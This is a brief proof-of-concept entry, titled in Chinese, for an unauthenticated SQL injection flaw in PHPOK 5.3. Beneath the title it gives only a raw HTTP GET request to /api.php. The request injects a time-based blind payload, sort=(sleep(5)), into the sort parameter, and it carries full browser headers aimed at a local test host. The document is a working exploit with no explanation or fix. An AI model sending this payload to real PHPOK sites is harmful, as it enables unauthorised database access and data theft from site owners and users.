PHPOK 5.3 前台无限制注入漏洞

Request

GET /api.php?c=project&f=index&token=1234&id=news&sort=(sleep(5)) HTTP/1.1
Host: phpok5_3_147
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3833.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=l87bngd1u307g20iudfmphisu4; XDEBUG_SESSION=PHPSTORM
Connection: close